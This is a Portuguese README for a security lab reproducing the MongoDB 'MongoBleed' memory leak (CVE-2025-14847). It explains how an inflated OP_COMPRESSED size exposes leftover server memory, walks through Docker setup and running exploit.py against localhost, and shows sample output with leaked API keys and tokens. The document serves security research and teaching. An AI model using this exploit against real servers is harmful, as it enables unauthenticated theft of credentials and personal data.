
MongoBleed (CVE-2025-14847) Lab & PoC: Um ambiente educacional completo para reproduzir o vazamento de memória crítico não autenticado no MongoDB. Inclui um contêiner Docker vulnerável com semeadura de múltiplos bancos de dados (PII, chaves de API) e uma exploração Python para demonstrar extração de dados. Ideal para pesquisa de segurança e conscientização. Análise de 1 dia.
Este laboratório foi projetado para reproduzir e analisar o MongoBleed (CVE-2025-14847), uma vulnerabilidade crítica no MongoDB. Essa falha permite que atacantes não autenticados leiam dados confidenciais da memória do servidor devido ao tratamento inadequado de mensagens comprimidas.
O ambiente inclui uma instância vulnerável do MongoDB populada com dados confidenciais fictícios (PII, chaves de API, registros financeiros) para demonstrar a gravidade do vazamento.
ID CVE: CVE-2025-14847
Nome: MongoBleed
Componente: Wire Protocol (OP_COMPRESSED)
Versões Vulneráveis: MongoDB 6.0.x < 6.0.27, 7.0.x < 7.0.28, 8.0.x < 8.0.17 (e outras)
URL: Clique aqui -> NVD CVE-2025-14847
A vulnerabilidade reside na forma como o MongoDB lida com mensagens OP_COMPRESSED usando o algoritmo de compressão zlib.
uncompressed_size no cabeçalho é intencionalmente definido com um valor muito maior do que o tamanho real dos dados descomprimidos.uncompressed_size inflado.zlib escreve o payload real (pequeno) no início desse buffer. O restante do buffer permanece não inicializado, contendo dados residuais de operações anteriores (artefatos de RAM).O laboratório consiste em:
admin / secretpassword).init-mongo.js) que preenche 3 bancos de dados distintos para simular um ambiente SaaS de Infraestrutura em Nuvem real:
compute_instances: Metadados confidenciais (scripts User Data, chaves de API).deployment_secrets: Alvos de alto valor (tokens K8s, chaves CI/CD, webhooks do Slack).users: Credenciais de usuário, hashes de senha (Argon2) e códigos de backup MFA (vazados em texto simples).query_logs: Contém consultas históricas, algumas incluindo credenciais vazadas (por exemplo, chaves AWS).exploit.py) que implementa o ataque de protocolo com engenharia reversa.Inicie o contêiner vulnerável. Isso criará automaticamente os bancos de dados e os preencherá com dados.
docker-compose up -d
Aguarde cerca de 10 a 15 segundos para o banco de dados inicializar e carregar os dados.
Nota: Se você já executou este laboratório antes, certifique-se de redefinir o volume para carregar a estrutura de dados mais recente:
docker-compose down -v
docker-compose up -d
Você pode instalar as dependências necessárias usando pip com o requirements.txt legado ou o pyproject.toml moderno.
Opção A: Usando requirements.txt (Padrão)
pip install -r requirements.txt
Opção B: Usando pyproject.toml (Moderno) Isso instalará o projeto e suas dependências no ambiente atual.
pip install .
Fornecemos um script de verificação para garantir que o banco de dados esteja acessível e os dados foram semeados corretamente.
python verify_lab.py
Este script usa as credenciais de administrador para verificar a existência de bancos de dados como sensitive_db, legacy_crm, etc.
Execute o script Python para atacar o servidor. Nenhuma credencial é necessária para esta etapa, demonstrando a natureza não autenticada da vulnerabilidade.
python exploit.py --host localhost --port 27017 --min 100 --max 5000
O script executa as seguintes etapas:
OP_COMPRESSED com um tamanho inflado falsificado.Saída Esperada: Você deve ver uma saída indicando vazamentos encontrados em vários deslocamentos, seguida por um resumo dos segredos detectados.
[*] MongoBleed Exploit (Implementação Personalizada)
[*] Alvo: localhost:27017
[*] Escaneando deslocamentos de memória de 100 a 5000...
[+] Deslocamento 120 | ... dbmongotesting ... compute_instances ...
[+] Deslocamento 145 | ... nome do campo 'AKIAIOSFODNN7EXAMPLE' não é válido ... [!] ENCONTRADO AKIA
[+] Deslocamento 210 | ... "token": "eyJhbGciOiJSUzI1NiIsImtpZCI6Ik16UTBOVFZ... [!] ENCONTRADO token
[*] Escaneamento concluído em 12.45s
[*] Total de bytes vazados: 4502
[*] Fragmentos únicos: 156
[*] Resumo dos Segredos:
[!] Padrão encontrado: AKIA
[!] Padrão encontrado: token
[!] Padrão encontrado: password
Para corrigir esta vulnerabilidade em ambientes de produção:
Este projeto está licenciado sob a Licença MIT. Consulte o arquivo LICENSE para obter detalhes.
Este material é apenas para fins educacionais e de pesquisa. Não use este exploit em sistemas que você não possui ou para os quais não tem permissão explícita para testar. O autor não se responsabiliza pelo uso indevido desta informação ou ferramenta.
Joseph Meneses (ElJoamy)
Desenvolvedor Backend e IA · Engenheiro de Cibersegurança · DBA · Testador de Penetração